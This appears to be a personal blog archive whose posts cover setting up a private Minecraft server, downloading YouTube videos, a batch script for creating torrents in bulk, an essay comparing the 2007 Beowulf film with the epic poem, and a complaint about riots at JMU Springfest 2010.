Personally, I have an ESXi 5.0 server that sits in my house (it's a total powerhouse with quad core 2.8ghz and 16GB ram) designed for the sole purpose of me being able to create (play with, break and destroy) Virtual Machines that can be accessed via the network. So all I had to do was download the install ISO file and put it onto my ESXi server, tell the server to make a new virtual machine (VM from here on out) and tell the VM to use the ISO to boot from. Everything I did can be recreated using VMWare Player (free from VMWare) or any other Virtual Machine application, but you should do more research into that before you try to run something on your computer. If you don't/can't run a VM on your computer, you could also perform this process on actual hardware, but it would take a bit longer between steps since things are happening on real hardware instead of virtual hardware.

I've gotten a bit off track.So far I done the following:
1. Download the mineos_crux-0.4.11.iso file **
2. Create a VM on my ESXi server: 3GB HDD space, 2GB RAM, specify Other Linux (32-bit) as OS Type
3. Select the above iso file to be loaded into the VM CD drive
4. Power on the VM and let it boot up.

From there you can follow the installation video that the is on the MineOS homepage. Which will lead you to getting everything setup and running. HOWEVER I did run into issues and have decided that based on MY wants/needs MineOS is not the right choice for me.

If you read through his documentation, William did a lot of cool things and seemingly setup a great environment for hosting a Minecraft server. However the things that he has designed are seeming built for a more 'permanant' and 'always on' server than I intend to host. As I've mentioned in previous posts I wish to host a small private server which will be more of a "on when I want to play it" kind of server. So for my purposes it is not really critical that the OS has such a small memory footprint as MineOS CRUX does (~25-100MB) I can deal with a larger footprint. In some earlier tests that I did, I was very successful with setting up an Ubuntu 10 server.

Another option which I will pursue next is Xubuntu. It is a distribution of Ubuntu that does not load the desktop environment, thereby saving a significant amount of memory (reducing the OS footprint).

**NOTE: I tried the 64-bit version of MineOS_CRUX and found that it is unable to properly start the Minecraft Server. I believe it to be an issue related to the Java Virtual Machine not being launched properly for 64-bit OS, but I didn't look into it too far

Up Next: Hosting a Vanilla Server

Setting Up a Minecraft Server, Part 3 - Combining Worlds (Update)

2011-11-07T13:26:00.001-08:00

After doing more research into how to setup a "world teleporter" it seems that this will be more difficult that previously estimated. For now I will speak about simply starting a with a fresh new world. Sorry to disappoint.

Fear not! I will revisit this topic at a later point once we have established a vanilla server and have begun adding server mods to it.

Setting Up a Minecraft Server, Part 3 - Combining Worlds

2011-11-03T09:15:00.000-07:00

I've got all my worlds together in a folder, each world it's own folder (a world is everything in one of the folders in the ".minecraft/saves/" folder). So there are two options that I've come across so far as to how to combine all my worlds into one.

Minecraft World Editor (MCEdit) will allow me to actually open a Minecraft world and edit chunks, basically I could Cut and Paste from one world into another. The goal here would be to create a new world with the latest build number and then edit into it sections from my old worlds. This has it's obvious advantages and disadvantages.

Pros:

Everything is in one world

Moving forward, I can do the same thing more easily

Cons:

Does not preserve the whole world, only the imported structures

Would have to 'overwrite' some content from the new world

Bukkit supports MultiWorld mod types which is a server mod that will allow me to start the server with a new world based on the new build, and then build in-game 'portal's that will transport you (like going to the Nether) to the other worlds. So I'm sure there is a limit on the number of these portals, but it's certainly an interesting idea.

Pros:

Unlimited(?) number of 'old' worlds

Clean, untouched new world for new builds of the game

Cons:

When creating a new world for new build, must create all the portals again

Everything is in it's separate world

So I've got some thinking to do. Perhaps I put everything together in one world, and have that be 'home base' and then create portals to the native worlds? But that produces higher redundancy. I think the best decision is simply to go with the Portals option.

Next up: How to host the server.

Setting Up a Minecraft Server, Part 2 - Download Your Worlds

2011-11-03T07:27:00.000-07:00

Before you can setup a new server with all sorts of cool mods, you should do something. It is relatively simple and straightforward, but the more mods that get installed the fuzzier this can get.

When I was going through my stages, I had a few different worlds that I was using. One was from 1.7.3 that didn't have things like dungeons, abandoned shafts, cravaces, and for some reason no wolves. Then there were the multiple servers that I had gone on and had been building some cool things (one from 1.6 build, one from 1.8 build; the current build number is 1.8.1). If I setup my own private server (that I can obviously open up to my friends) then I want to start with a fresh world based on the latest build number (1.8.1 right now, soon to be 1.9), but I also want to include in that world all of the other things I had already built.

One way to do this is simply start the new world, and rebuild everything. This is a terrible plan, for a few reasons. But the most obvious being...that would take a lot of time and effort. I already built it once, so I don't want to have to build it again.

Another way, a smarter, lazier way to go about this it to use a mod called World Downloader. It's a really simple mod to install and use. Yet it provides an awesome function. Simply install it (see the forum page for instructions, downloads, and a guide on this) and then open up your Minecraft (modified now), connect to the server where you had built stuff, and click the "Start Downloading World" button. Then walk around the world and anything that gets loaded by your screen will be saved to your "Saves" folder so you can open that world in your single player mode. NOTE: if you want the contents of chests to be downloaded, you must open the chest while downloading the world.

Once I've downloaded my worlds from various servers and have my single player world already, I wanted to rename the folders for my own sanity (World Downloader uses the server name) so I gave them descriptive names like "1.7.3-Wooden_Skyscraper" because that's what I built in that world, and the build used to generate the world.

Collect all these world folders together and prepare for the next step: putting them all together.

Setting Up a Minecraft Server, Part 1 - Background

2011-11-03T07:14:00.000-07:00

Anyone who has used the internet since June should be familiar with the name Minecraft. If you aren't then go look it up, register, and start trying to play it.

Anyone who has played it probably started with the single player survival mode, like I did. After a while (and many youtube videos later) you realize that Minecraft could be much more fun with other people. Or perhaps you would like to install some game Mods to play with. Some mods work in single player, some mods only work in multiplayer.

But the best mod setups work when you are playing on a server (multiplayer). So maybe you went on a random server and got greifed and it sucked. Or maybe you went and joined some whitelist server like I did and have gotten fed up with the fact that they have so many server mods running that it seems like an entirely new game; or the Admins have it set up so that you need to donate money to the group in order to get real privileges to use the game mods, or specific areas, or interact in cities. That is lame.

So you decide to start your own server and play on that, since, even with the basic (vanilla) server setup will allow you to use the "/give player item# quantity#". What's the first step? Go to Minecraft.net and download the server.jar file, run it and then open your Minecraft and connect to server ip "127.0.0.1:25565" because that is the default setup. But then you realize that is just the same as single player, except you can use the "/give" command. It's not that satisfying. Especially since you know that you could've built that skyscraper yourself with a little more hard work.

At this point you are thinking about installing some mods on your server so you can make the game so much cooler, but wish you could join a server that is already setup so you wouldn't have to go thru all this pain. But all the servers you could join already have people building everywhere, and the world has already been explored probably, and it's just not going to be fun.

What do you do? In the next post I'll talk about what I did.

Downloading from YouTube

2011-11-03T06:57:00.000-07:00

There are plenty of applications and browser plug-ins and the like that let you download videos from YouTube. Some of which let you actually format the video downloaded in a format that you want. However the format is not important. the video resolution is what is important because the format can be changed. Some formats/codecs have restrictions on the quality that they can store, so this is also an important choice.

When I download videos from YouTube I like to store them in *.mp4 format with 720p or 1080p.

I started to use a website called Keep-Tube to download videos from YouTube. Interfacing with it is really simple. All you need to do is go to the YouTube page, and then in the address bar edit the address to say www.keepyoutube.com/xxxxxxxx. You just need to add the word "keep" right in front of the "youtube.com" part and press Enter. The page you come to will provide you download options for various formats including flv, mp4, mp3 among others and each with varying options for the video quality.

Yes, I said mp3 format. This link actually takes you to a different website (sister-site to Keep-Tube) with the same page layout, but instead of video formats, it will provide you with an mp3 download link.

All you need to do then is right click the icon of the format you want and select "save link as" to download it wherever you want.

Say you want to download a bunch of videos at the same time however. I looked around the Net and found a program that works pretty darn well (especially at downloading from Keep-Tube) it's called Free Download Manager. Download the full version (it's completely free) and install it. you can go through the Settings page (as I always do) if you want, but it's not necessary.

Once you are running FDM, you will find a "drop box" type window on your screen (mine appeared in the bottom right near my clock). You can drag and drop objects from webpages into this box and FDM will grab the info about it and ask you if/how/where you want to download it. So what I did was go to a Keep-Tube download page and drag the icon for the mp4/720p format download link into the drop box and VOILA, FDM grabs it and is ready to start the download for me.

What's even better, is that it will run multiple download "threads" so you can download and 1-6x your regular download speed. It will also break the file up into multiple sections (most of the 10-20 minute videos I downloaded were broken up into 20-30 parts) which allows higher download speeds, and download resuming if interrupted for some reason.

Conclusion:
Keep-Tube + Free Download Manager = fast youtube video downloads in 720p

P.S. I've been snagging the YogsCast Minecraft videos. Gotta love the comedic stylings of Simon&Lewis

Humor4Fun's Bulk Torrent Creator

2011-06-08T19:35:00.000-07:00

Creating Torrents...without a window

I've recently found lots of material that I would like to post online (things that I can share), but creating torrent files for this stuff individually would be a huge pain (over 1000 torrents).

So I started looking for a way to create these torrents in some sort of automated fashion. Turns out there is no such tool. However, I was able to find a program called mktorrent.

Info: mktorrent is a very easy tool for creating Torrents on the commandline, but only for Linux. So it was cross compiled usingr Cygwin. Download here.

Installation:Copy the mktorrent.exe to \Windows\System32\
Copy the .dll files to \Windows\SysWOW64\

Usage:mktorrent -l 21 -a http://tracker.url foldername

I then played around with this program a bit to see how it worked and figure out the little kinks, before writing my fun little tool. See, each of the things I want in a torrent are all separated into their own folders. So I just needed to write a Shell script that will take each of those folders and use it to create a torrent file.

The resulting script can be found below. If you want to make use of this tool:
1. right click the desktop
2. select create new text file
3. rename the file to "Humor4Fun-btc.bat"
4. right click the file
5. select edit
6. paste the following code into the file
7. Edit the "tracker" variable to be whatever tracker you want, multiple trackers can be specified here

@echo off

set ROOT=%1
set title=Humor4Fun's Bulk Torrent Creator

if "%ROOT%"=="-h" (
echo %title%
echo Proper usage "Humor4Fun-btc.bat folder"
echo where 'folder' is a list of folders to create torrents for.
echo Example: Humor4Fun-btc.bat "C:\Program Files"
echo Example: Humor4Fun-btc.bat c:\*
GOTO end
)

set tracker=--announce=http://www.torrent.net:port/passkey/announce
set comment=--comment="Made by Humor4Fun's Bulk Torrent Creator :: http://tostercrums.blogspot.com :: http://toasterproductreviews.blogspot.com"
set piece=--piece-length=19
set private=--private
set verbose=--verbose

set command=mktorrent %tracker% %comment% %piece% %verbose%
echo %title%

FOR /D %%I IN (%ROOT%) DO %command% "%%~fI"

echo FINISHED
: end

Enjoy the code. I take no responsibility for it's use, feel free to do whatever you want with it, but do not sell it without my permission, and if you use this code, include my name, Humor4Fun

Beowulf: Epic Poem and Hollywood Blockbuster

2010-05-03T11:18:00.000-07:00

Beowulf is the oldest known English epic poem. For over 600 years, the poem stayed simply in writing and oral tradition, until recently. In the last two decades, the famous story has seen three movie adaptations. Director Robert Zemeckis produced the adaptation that most closely resembles the poem in 2007. This movie version of the story changes some critical plot pieces and offers different action points for parts of the story that are vague. I will discuss these changes to the plot and provide some analysis of why they changes have been implemented.

At the outset of the movie, King Hrothgar is immediately portrayed as a drunken bumbling fool. In his first image on the screen he is handed a chalice; the Royal Dragon Horn (this is an important chalice, one that the movie bases its entire plot line off) with mead in it. Hrothgar proceeds to attempt to drink from the chalice to start a celebration, and manages to spill it all over his face and down the front of his body. He seems to be drinking himself stupid, like a college student who wants to forget something they did. Later on in the movie we find out what it is that he wanted to forget.

The poem portrays Grendel as a grotesque monster that is hell bent on murdering everyone he can because of his hatred for the Danes and their merry making. “(164) So Grendel waged his lonely war, inflicting constant cruelties on the people, atrocious hurt.” When Grendel makes his entrance into the great hall in the movie, he is not portrayed as the attacker. Instead, he enters the hall in a screaming state of fear in response to the screams of the Danes. He is caused physical pain by the sounds of chanting, singing, and screaming. The horrible monster from the poem is not much of a threat on his own, but when provoked by the attacking Danes and the screams of terrified women, Grendel grows in size and ferocity. Fueled by his demand for silence he attacks the people nearest to him that are making the most noise. This portrayal of Grendel is contrary to that of his description in the poem, “(120) Suddenly then the God-cursed brute was creating havoc: greedy and grip, he grabbed thirty men from their resting places and rushed to his lair, flushed up and inflamed from the raid, blundering back with the butchered corpses.”. Grendel is not given much of a concrete description; the actual shape of the monster is left to the reader’s imagination. However, the reason he attacks Hearot is for a different reason: he hates the sound of merriment. He is a deformed beast that hates the humans because he cannot be a part of their society, “(104) he had dwelt for a time in misery among the banished monsters.”

When Grendel returns to the lair of his mother, she speaks with him about what he has done. She is upset that he has attacked the town and killed many of the people living there, but acknowledges his reasoning for doing so: they were making noise that hurt him. At this point the audience is shown more detail about the monster and can see his deformed humanistic appearance. His mother, however, is hidden behind the camera (the camera is in her first person view) but we do see a tentacle of hers as she caresses a sobbing Grendel.

“I am Beowulf! And I am her to kill your monster.” In his introductory line to the Danes, Beowulf’s pride is not lost in the translation from the pages of a book to the screen; he is pompous as ever, shown in his introductory lines to the Danes. This scene stays very true to the description from the poem, from the stormy sea, to the loving welcome from King Hrothgar, “(456) Beowulf, my friend, you have traveled here to favor us with help and to fight for us.” From the moment Beowulf enters the town and lays his eyes upon the queen, he longs to lay with her. It seems that every action he takes is an attempt to prove his worth to her.

During the word battle between Beowulf and Unferth, Beowulf tells the tale of his race against Breca (lines 530-580). His story ends when he says he was dragged to the bottom of the sea by a sea monster and plunged his sword into its heart, but what the action on screen tells the audience is that Beowulf is lying. Instead of a monster, he found a beautiful mermaid and he did not kill it, but intimately embraced the mermaid instead, dropping his sword to the depths of the sea in exchange for her embrace. This is yet another display of Beowulf’s lack of moral character. Easily distracted from battle, he abandons fighting for sexual pleasure. Perhaps this is a foreshadowing of another scene to come in the movie (it is not clear the motive for including this, other than to show that Beowulf, the mighty hero, is fully capable of telling a lie and is easily seduced). The way in which he tells this story, it is directed towards Wealtheow, as if an attempt to impress her.

During the dinner before the Geats’ battle with Grendel, Hrothgar shows Beowulf the Royal Dragon Horn which he says he claimed after his battle with Fathmir - The Dragon of the Northern Moors. However, he refers to the horn as ‘her’ implying that it was not the horn that he claimed, but rather a woman who gave him the horn in return for something. Then he points out the dragon’s weakness: a soft spot under the throat, “the only way you can kill a dragon.” As the camera zooms out to include the queen, Wealtheow, in the picture, Hrothgar poses the question to Beowulf: “I wonder how many men have died for love of her beauty?” He seems to be talking about the horn, or more likely the woman he claimed the horn from, as Beowulf is completely transfixed on the horn itself. Still talking about the horn (or the woman), the king tells Beowulf that if he kills Grendel, “she will be [his] forever, and ever, and ever,” and as he trails off with his sentence, he stares at his queen. Beowulf accepts this promise with great pride.

This exchange between Hrothgar and Beowulf is much more important than Beowulf realizes. The king is trying to tell Beowulf what actually happened that led him to become king, and trying to tell the hero a message of warning about the Demon (Grendel’s mother). Hrothgar came to the land as a man seeking fortune and fame. He managed to kill the dragon (perhaps by luck or perhaps by fate) and when the king of that day told him about the dragon’s mother, and how it must be destroyed, Hrothgar went in search of the beast. What he found however was not a beast at all, but a beautiful demon woman, with whom he made a deal. If he would lay with her and grant her a son (replacing the one he killed, the dragon Fathmir) then she will grant him glory, gold, and a kingdom for as long as he does something for her. It is left to speculation by the audience what exactly the Demon wants Hrothgar to do to maintain the bargain, but based on the events that unfold around Beowulf, one can conjecture that the Royal Dragon Horn was given to Hrothgar by the Demon. As long as the horn remained unused, Hrothgar would reign as a king unopposed by any worthy army. Until the day when he removes the horn from its box and drinks from it in celebration of a battle: the night Grendel (the son of Hrothgar and the Demon) attacks the town.

As the dinner comes to an end, Beowulf requests one more song from Wealtheow, praising her beauty when she concludes the song. The queen gets up to leave the hall and Beowulf starts to remove his armor and clothing when he is informed that Grendel is “the shame” of the king, he has “no sons, and he will have no more for honest talk.” This little bit of information proves to the audience the assumptions made at the beginning of dinner: after slaying the dragon, Hrothgar bedded a woman not his wife and the resulting child was the demon Grendel.

Once again, Grendel attacks the hall when he hears singing. He pounds on the door until it bursts open, but when he enters the hall, he does not cry out in vengeance. Instead, he screams in pain, holding his hand that he beat against the door. This is not a cruel monster; he is a humanistic ogre who wants peace and quiet. Physically hurt by the sounds of singing he seeks to quiet the source. When the Geats attack Grendel, he goes into a rage and begins smashing tables and benches and throwing soldiers across the room. Not until Beowulf is grappling with Grendel does Grendel feel any fear of the warriors. Beowulf begins to scream, his war cry echoing heavily in the hall, causing Grendel’s eardrums to throb in pain of super-sensitivity. He stumbles back and falls onto a hot bed of coals, burning his flesh; he begins to flee from the hall, but is caught by Beowulf who assaults his eardrum until it ruptures. The magic of the demon has now been ruined, and he begins to shrink from being 15 feet tall, to being a mere six feet tall. Breaking free from this attack, he once again runs for the exit to the hall but his arm is caught up in chains by Beowulf. Grendel continues to flee the scene and is caught in the door where Beowulf meets him. Grendel pleads for his life but Beowulf screams a battle cry and slams the door shut, cutting off the arm.

This battle between the monster Grendel and the hero Beowulf shares many similarities to the battle described in the poem (lines 744-820). Beowulf is asleep while his thanes keep watch for the monster, singing loudly to attempt to draw the beast out. Grendel then attacks and a furious battle ensues, climaxing when Beowulf grapples with Grendel and finally wrenches an arm from the body of the demon, “(814) The monster’s whole body was in pain; a tremendous wound appeared on his shoulder. Sinews split and the bone-lappings burst.” The battle depicted in the movie is altered only slightly, to agree with the type of monster that Grendel is, and the reasons for which he attacks Hearot.

The Geats cry out in joy when they see that Beowulf is alive and the monster’s arm is lying on the floor of the hall. Word quickly spreads to the king who expresses his joy. Hrothgar then removes a separator from the bed (this would prevent the king and queen from touching each other while sleeping) and demands that his wife have sex with him to provide an heir for his kingdom. Wealtheow denies him, disgusted by the mere fact that he could have laid with ‘her,’ the woman he mentioned earlier that night to Beowulf. This is another important, but easily dismissed detail of the story of Wealtheow. After Hrothgar has killed the dragon and lay with the Demon, he becomes king. It appears that he takes a beautiful young woman as his wife (Wealtheow is clearly 20-30 years younger than Hrothgar). However, he cannot impregnate her, so she questions him on the subject and he tells her about the Demon after slaying the dragon. From that moment onward, she refuses to sleep with him.

After burning the dead, Wealtheow presents Beowulf with the Royal Dragon Horn and a celebration of freedom from the monster’s reign begins. The scene cuts to Grendel’s mother in her cave laying her son on a rock as a grave (he has now shrunk to the size of a newborn babe) and she screams out the name “Beowulf” and shrieks in anger as she flies out of the cave all the way to Hearot. She sneaks around the rafters until she finds Beowulf asleep on a table. Entering into his dream she takes the form of Wealtheow, placing her hand on his face, she expresses her eternal love for him and demand for a son. Beowulf realizes this must be a dream when she says that Hrothgar has died, and she screams out “give me a SON!” as she transforms into a beast with a thousand teeth lunging for his face, but he wakes just in time to avoid death. Moments after waking he finds out it was not merely a dream, Grendel’s mother has visited the hall in the night and turned every warrior inside out and hung them from the rafters in return for the death of her son.

This scene takes heavily from the poem but embellishes the story in a very affective way. The audience is introduced to Grendel’s mother, the Demon, as a vengeful being, capable of both acts of beauty and viciousness. The Demon’s attack is described in the poem, “(1282) Her onslaught was less only by as much as an Amazon warrior’s strength is less than an armed man’s when the hefted sword, it’s hammered edge and gleaming blade slathered in blood, razes the sturdy boar-ridge off a helmet.” Hrothgar tells Beowulf and Wiglaf about the Demon that haunts the kingdom, Grendel’s mother. During his speech, Wealtheow displays looks of disgust towards the king, but Beowulf is only thinking of revenge: blood for blood. The directors did an incredible job in this scene of capturing the fear and anger inside Beowulf for the loss of his thanes, and knowledge of a much more powerful monster. This monster visited the hall in the night with no one knowing the wiser, it even invaded his dream.

The last two Geats travel out in search of Grendel’s mother. Beowulf leaves Wiglaf at the entrance to the cave where she lives. Upon entering Beowulf finds the dragon horn glowing, providing far more light than his torch, which blew out when he entered the cave. He explores more, swimming through a watery tunnel. Coming up to land again, he finds himself in a room full of treasure, with an altar in the center. On this alter, is laid the body of Grendel. Grendel’s mother drops from the ceiling of the cavern into the pool from which Beowulf entered the room, trapping him inside. He demands to see who she is and she slowly rises from the water until she is standing atop the surface of the still pool. Her skin is transforming from golden scales into the smooth, silky skin of the most beautiful woman he has ever laid eyes upon. Her naked body, partially flesh-tone, partially golden (changing to flesh) is entirely naked, completely entrancing the warrior as they begin to speak. The Demon questions who he is, “Are you the one they call Beowulf? The Be-Wolf? The Bear? Such a strong man you are, with the strength of a king, the king you will one day become.” He acknowledges her as she moves around the cave and attacks her only to find she has disappeared. Standing at the ready, Beowulf responds to her, and she approaches him, passing through his sword. She speaks to him of her lost son and requests that he give her a new son; if he will give her a son, she will make him a king forever: invulnerable, strong, and handsome. Only as long as he keeps her in his heart and she keeps the dragon horn in her cave. As she ends this proposal, she touches his sword, and melts it in an instant. Dropping his melting sword (Hrunting), he kisses her sealing the deal and she beds him in the cave.

The key plot change is fully shown in this encounter between Beowulf and the Demon. The writers have added this lore about where the scourges of the Danish kingdom have come from: a hero comes to save the land from a monster, kills the monster and finds out it’s mother is still alive, so the hero sets out to kill the mother only to be seduced; producing a new monster to scourge the land some day in the future. This cycle repeats, until Beowulf attempts to break the cycle. When watching this film, I was incredibly fascinated by this choice in plot change. By removing the fight between the Demon and Beowulf, he is made out to be less of a hero, and more of a mortal man, just like any other warrior of the kingdom, excepting the fact that he made a deal with the Demon. The poem does not do much to describe where the monsters (Grendel’s family) come from, but it does seem to be clear that Beowulf is the last great hero: he defeats the last three monsters in the land. In the movie, he is not a hero, just an exceptional warrior. He kills Grendel, and fails to kill the Demon mother, which causes the next monster to be unleashed upon his kingdom many years later.

Beowulf returns with the head of Grendel, and a tale of the murder of his mother, pleasing the king and the town. During the celebration, Wealtheow asks what happened to the dragon horn and Beowulf quickly comes up with a lie that he used it as a lure for the beast and was unable to find it after the battle. She does not look pleased by this explanation, but Hrothgar (who seems to understand what actually happened in the cave) interrupts Beowulf and demands his wife find him a new chalice from which to drink. He then takes Beowulf outside to discuss the battle. Asking why only the head of Grendel was returned, and not both heads, he is able to see though the lies Beowulf tells him about killing the mother. Hrothgar is able to deduce that Beowulf did in fact not kill her, but made a bargain with her (likely a similar bargain to what he himself made with her years before, after slaying the dragon Fathmir). He is comforted by this fact; knowing that she will no longer plague him, but rather become Beowulf’s curse, Hrothgar returns to the party leaving Beowulf to wallow in the regret of his choice to lay with the Demon.

Nowhere in the poem does Beowulf show any signs of regret for his actions. He has the attitude of ‘I did it, so it was a good choice and I stand by my actions, I’m a hero!’ In the movie, however, he shows regret, love, lust, fear, anger, and even trust. Throughout his reign as king, Beowulf is transformed from a headstrong young warrior into a wise and thoughtful old king, but he never loses that flame inside. The flame that ever burns him for his regret of lying with the Demon. He is always waiting in fear of what monster will scourge his kingdom and what decision he will make when that day comes: should he fight his own son, or allow a new hero the chance to make the same mistake that he did when he was young.

Hrothgar then makes an announcement to the town that he gives the kingdom to Beowulf upon his death. The townsfolk misconstrue the words he uses to describe Beowulf’s accomplishments, “…because Beowulf has killed the monster Grendel, and laid the monster’s mother in its grave…” Beowulf has told the people that he has killed both monsters, so that is how they hear the king’s words, but the queen (knowing that her husband once bedded the demon) can see the different meaning in the king’s words: Beowulf has killed Grendel, and bedded the demon in Grendel’s grave in return for the kingdom, the same as Hrothgar did years before. The king then walks outside and jumps off a cliff. Wealtheow sees him fall and runs outside with Wiglaf and Unferth. As they look upon his body on the beach below, a wave washes up and covers the body, but before the wave recedes back into the ocean, a golden shimmer rushes out into the ocean leaving from where his body lay. When the wave passes, Hrothgar’s body is nowhere to be found: Grendel’s mother has taken it. Thus, Beowulf is crowned king.

At this point the story jumps ahead many years, there is no visual clue to the passage of time, other than the clear aging of the main character Beowulf. He, with his army, is out to battle with the Friesians, the same battle that is described as a slaughter in the poem. The battle is indeed a slaughter, but one man cries to be brought to Beowulf. The king accepts this request, granting the man access to kill him. Beowulf speaks to him in increasing tone as he walks the man backward towards the ocean, the realm of his Demon mistress, all the while removing clothing and armor pieces, “You think that you are the first to try and kill me? Or the hundredth? Well let me tell you something, Friesian: The gods will not allow my death by your feeble blade; the gods will not allow me to die by a sword, or be taken by the sea; the gods will not let me pass in my sleep ripe with age.” Ripping open his shirt and slapping his chest he screams, “Plant your axe here, Fin of Freesia, take my life…You’ll what, kill me? Do it! Kill me! KILL ME!” The raider drops to his knees sobbing in fear and Beowulf offers reconciliation, “You know why you can’t kill me, my friend? Cause I died many, many years ago when I was young.” He sends the man home with a piece of gold demanding that he tell this story to his countrymen. Beowulf is finally realizing that he made a terrible decision when he lay with the demon. He gained a kingdom, but at the cost of his soul. He can win any war he fights, bed any woman he wants (excepting the one he loves, his wife Wealtheow), and seemingly live forever. The King seems, on all accounts to be happy, but he knows in his heart that one day, his deal will be broken with the Demon, and his son will be released into his kingdom to wreak death and destruction.

The following day is the Day of Beowulf, when the story of how he lifted the darkness that was Grendel from the land. Beowulf steps out of the celebration to find Unferth who has brought him a great treasure that was once lost and now found: the Royal Dragon Horn. As he looks upon the horn, he realizes what it means that the horn has come back to him. This means that the Demon, Grendel’s mother will now send out their son to destroy the kingdom in retribution for breaking the deal they once struck. The horn is no longer present in her cavern of treasure and so Beowulf has broken the bargain, his reign will soon be ended. That night in his dream, Beowulf visits the cavern, bringing back the Royal Dragon Horn. Asking to continue the bargain they once had. He wants only to live his remaining years in peace, without his kingdom being at war. But she rejects his proposal, stating that the deal was broken and he must pay the price. However, this price is much more than he bargained for originally, he will have to die to pay for breaking the deal.

A dragon is seen attacking and burning a village off in the distance. A church is shown on fire, with a clergyman (later shown to be Unferth) inside, huddled against a wall when a man with skin of gold approaches him through the flame and says, “I have a message for my father.” Beowulf is enraged to hear that a dragon has attacked his kingdom.

In the poem, the dragon awakens from under a great mound of earth when a servant finds the cave and removes from it a single chalice to bring to the king, “(2211) … a dragon on the prowl from the steep vaults of a stone-roofed barrow where he guarded a hoard … He had handled and removed a gem-studded goblet … That drove him into a rage, as the people of that country would soon discover.” Noticing that his treasure has been stolen the dragon proceeds to destroy towns and villages until Beowulf takes up arms and fights the dragon, ultimately killing it with the help of Wiglaf moments before his own death. This same idea is used in the movie. Unferth’s slave, Cain (an excellent choice in name, as the poem proposes that the Demons are descendant from Cain’s family, and a boy named Cain releases the demon on the kingdom), is gathering reeds when he notices something shimmering in a pool by the moors (note that Hrothgar killed a Dragon of the Moors). Fetching toward the shimmer, Cain finds the Royal Dragon Horn and immediately brings it back to the kingdom, removing it from the cave and releasing Beowulf’s son as a new Dragon of the Moors.

Preparing for battle in his quarters, Beowulf yells at his young sex companion to find a good man and bear him a son, he scares her away so she will not have to see the fear inside him as he prepares for his death, for she has deep feelings for him. Wealtheow enters the room and suggests to Beowulf to “let some young hero save us,” but Beowulf rejects this proposition. He knows that if he simply lets someone else kill his monster, the nightmare will repeat itself with the next king. The young hero will be seduced by the Demon, and bear a new monster-child for him to battle when their deal is broken. Beowulf decides to be a man, be a hero, and fight the demon by himself. But in his words, he betrays himself to his queen. He says, “I visited this horror on my kingdom, I must be the one to finish her.” Wealtheow recognizes the word ‘her’ to be the Demon, the same demon that her first king lay with that caused trouble so many years ago when Beowulf was the young hero. He recognizes now that when he was young he was deceived by her beauty and grand promises. Being a true hero means ending the cycle. Beowulf knows this will mean his death, but he also knows it will mean that no one will have to suffer the Demon again if he can kill his own monster. The reasoning Beowulf provides here is contrary to that in the poem for why he must fight the dragon. In the poem, he states that it is his kingdom, and he once saved it from two monsters, so it should fall upon him to save the land from this new monster: his land, his monster. This is the same logic that Beowulf uses in the poem, “(2511) I risked my life often when I was young. Now I am old, but as king of the people I shall pursue this fight for the glory of winning, if the evil one will only abandon his earth fort and face me in the open.”

Beowulf travels back to the cavern where the Demon lives and he brings the Royal Dragon Horn with him as an offering, just as he did in his dream. She appears to him and he throws the horn into her pile of treasure asking her to leave his land in peace in exchange for the horn, but she is not pleased for the deal had already been broken. The dragon bears its head and breathes fire filling the cave with flame moments after Beowulf dives out of it. The battle between the dragon and Beowulf is epic indeed, and no words can do it justice (well, I’m sure there are some words that could do it justice, but I am not the writer that can pen those words. So I suggest: the movie should be watched) but at the end of the battle Beowulf cuts off his arm as he attempts to stab the dragon in its heart (through the soft spot in the neck) and loses his sword. He sees that the dragon is seconds away from killing both his beloved wife and sex servant so he makes one last big effort and rips out the still-beating heart of the dragon. The two beasts then fall from the ramparts onto the beach below. The dragon has been killed by Beowulf, but at the cost of his own life, which he gladly trades in return for the safety of his beloved wife and his kingdom.

Contrary to the battle with the dragon in the poem, Beowulf does not receive any help in his fight. In the poem, Wiglaf rushes to his aide and together they stab the dragon in its heart. However, in the movie Beowulf is all on his own, Wiglaf is left at the cave entrance when the dragon emerges.

As the waves wash upon the dragon, he transforms back into a man and Beowulf sees his son for the first and last time as a wave washes him into the ocean. Wiglaf rushes to Beowulf’s side, as he lies dying on the beach. Beowulf attempts to tell him the connection between the monsters’ mothers but Wiglaf refuses to believe that she was not killed many years ago when they were young.

Beowulf is sent out on a burning ship with some of the treasures from his kingdom. Again, this choice in action is entirely in contrast to the events in the poem where Beowulf is buried in the dragon’s mound with all its treasures. Wiglaf watches the ship from the shoreline and as the ship burns, the Royal Dragon Horn washes ashore at his feet. Picking up the horn he looks back at the ship to see a woman, beautiful, naked and golden, floating above Beowulf’s body to give him one last kiss as the burning ship sinks. He then hears a faint singing and sees the woman coming up from the ocean depths.

“Keep a memory of me, not as a king, or a hero, but as a man: fallible and flawed.” – Beowulf (2007)

References:

Greenblatt, Stephen, and M. H. Abrams. The Norton Anthology of English Literature. New York: Norton, 2006. Print.

Beowulf. Dir. Robert Zemeckis. By Niel Gaiman, Roger Avary, and Anonymous (epic Poem "Beowulf"). Perf. Ray Winstone, Anthony Hopkins, John Malkovich, Robin Wright. ImageMovers, 2007. DVD.

Beowulf Review

2010-04-29T08:42:00.001-07:00

Coming soon...
My review of Beowulf (2007) and how it relates to the original Old-English epic poem.

JMU Springfest 2010 FAIL!!!

2010-04-12T11:16:00.000-07:00

I am personally appalled at the results of Springfest 2010.

Drunk high school students; Dumpsters on fire;
People getting stabbed; Molotov cocktails;
Furniture being burned; Attacking the police;
House fires; Tear gas; General fighting and chaos....
Just to list some of the things I saw this year.

JMU students are known for our ability to throw an awesome party. Springfest/Block Party should be no exception. We should be able to host a whole row of house parties together, and we can. The problem is when so many students share this fun fact with so many of their friends. There were far more non-JMU students at Springfest this year than there were students that attended class on Friday (I mean students at JMU).

Springfest drew a crowd of over 8,000 people. High school students, College students, Alumni, Parents, dogs, I even saw two toddlers at this chaos-fest. This is unacceptable.

We know how to party. True, sometimes our parties get out of hand. But we never have a party that can't be controlled by a few choice words ("The cops are coming" or "The kegs are empty" or "The floor is going to cave in", whether or not any of the three are true, they will clear out a party in minutes if not seconds).

Police lined up for HOURS outside Forest Hills townhouses on Saturday. They began to regulate traffic a little after 1:00pm (restricting cars from entering the area) and slowly escalated their presence until SWAT teams with full Riot-gear were surrounding the area. I have not yet heard a single JMU student, telling their account of the riot that ensued, say they or their JMU-student friends provoked the police in any fashion. Videos on YouTube show that JMU students are not at fault here. We party under control. All the stories I've heard of people assaulting the police, or other people begin with something along the lines of "My friend's friend from (insert non-JMU college here) saw the cops and just went nuts!"

